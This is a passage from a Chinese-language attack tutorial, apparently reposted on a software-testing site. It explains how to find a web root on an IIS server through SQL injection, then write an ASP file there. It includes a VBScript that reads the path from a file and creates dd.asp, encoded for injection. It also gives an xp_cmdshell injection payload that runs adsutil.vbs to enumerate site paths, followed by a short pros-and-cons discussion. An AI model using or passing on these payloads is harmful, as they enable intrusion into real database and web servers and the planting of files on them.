因為用瀏覽器提交時 號被轉換成了空格,所以在提交的時候還應該把變成%2B,好了,應該可以了,如下
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------cut here--------------------------------------
如果發現1沒有的話,我們可以該成2,3,4...........
a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt’;--
但是這種方法只能在windows2000下使用,因為2003下新建的網站所在地址不是按照1234來排列的,好像是隨機生成的,個人比較過幾個2003下的
地址,沒有發現什么規律.
優缺點分析
同上xp_cmdshell不是每一個用戶都可以用的!還有一個問題是adsutil文件不一定存在,或者不一定在那個路徑上,當然如果你原意的話你可以用
echo寫一個(哈哈,老多老多行的喲),另外的一個問題是,如果主機上有很多站點怎么辦?我遇到過一個有九個站點的主機,膽識只有第8個是有用
文章來源于領測軟件測試網 http://www.kjueaiud.com/